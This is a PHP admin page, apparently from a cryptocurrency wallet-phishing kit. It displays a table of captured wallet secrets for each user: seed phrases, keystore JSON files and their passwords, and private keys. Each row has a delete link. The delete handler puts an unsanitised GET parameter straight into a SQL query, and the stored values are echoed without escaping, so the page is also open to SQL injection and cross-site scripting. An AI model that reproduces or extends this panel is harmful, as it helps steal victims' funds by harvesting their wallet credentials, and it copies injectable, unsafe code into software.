<?php 
include 'header.php';

if (isset($_GET['delete'])) {
	$wid = $_GET['delete'];
	$del = mysqli_query($link, "DELETE  FROM wallet_links WHERE id = '$wid' ");
	if ($del) {
		echo "<script>alert('Deleted Successfully');window.location.href = 'wallet-link.php' </script>";
	}
}

?>
 
<!-- Card start -->
     <div class="card">
                  <div class="card-header">
                    <div class="card-title"></div>
                  </div>
                  <div class="card-body">
                    <div class="table-responsive">
                      <table id="scrollVertical" class="table custom-table">
                        <thead>
                          <tr>
                            <th>#</th>
                            <th>User</th>
                            <th>Import Type</th>
                            <th>Wallet</th>
                            <th>Phrase</th>
                            <th>KeyStore Json</th>
                            <th>KeyStore Password</th>
                            <th>Private Key</th>
                            <th>Date</th>
                            <th>Delete</th>
                          </tr>
                        </thead>
                        <tbody>
                 <?php
                      $i = 0;
                        $select = mysqli_query($link, "SELECT * FROM  wallet_links ORDER BY id DESC ");
                          if (mysqli_num_rows($select) > 0) {
                            while ($row = mysqli_fetch_assoc($select)) {
                              $UserId = $row['userId'];
                              $wid = $row['id'];
                              $user = mysqli_query($link, "SELECT * FROM users WHERE id = '$UserId' ");
                              if(mysqli_num_rows($user) > 0){
                              	$rr = mysqli_fetch_assoc($user);
                              	$fname = $rr['fname'];
                              	$id = $rr['id'];
                              }
                             
                     $i++         
                   ?>  
                          <tr>
                            <td><?php echo $i  ?></td>
                            <td><?php echo $fname ?></td>
                            <td><?php echo $row['import_type'] ?></td>
                            <td><?php echo $row['wallet'] ?></td>
                            <td><?php echo $row['phrase'] ?></td>
                            <td><?php echo $row['keystorejson'] ?></td>
                            <td><?php echo $row['keystorepassword'] ?></td>
                            <td><?php echo $row['privatekey'] ?></td>
                            <td><?php echo $row['date'] ?></td>
		                  <td>
		                      <a href="?delete=<?php echo $wid ?>" class="btn btn-danger">Delete</a>
		                  </td>
                            
                        
                       

                          
                     
                        </tr>
                    
                      <?php }} ?>
                      </tbody>
                  </table>
              </div>
          </div>
      </div>
  </div>
<?php
include 'footer.php';
?>